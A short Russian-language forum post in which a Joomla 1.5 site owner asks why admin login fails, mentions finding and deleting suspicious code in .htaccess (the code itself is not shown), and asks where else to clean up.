Здравствуйте!  Сайт джумла 1.5 Перестал пускать в админку сайта. После введения правильного (и даже неправильного) пароля идет обновление страницы без какого-либо сообщения. 
Я попробовал поменять пароль через PHPMyAdmin но это ничего не дало. 
Плагины авторизации и com_uzers включены (везде стоит 1). Может отключены куки? Но я не знаю где это смотреть (буду благодарен, если подскажите). 

А сегодня зашел в файл .htaccess и увидел там такое (выделенным цветом). 

Код я удалил, но авторизироваться в админку все равно не могу. Не поскажите где еще теоретически нужно подчистить? :
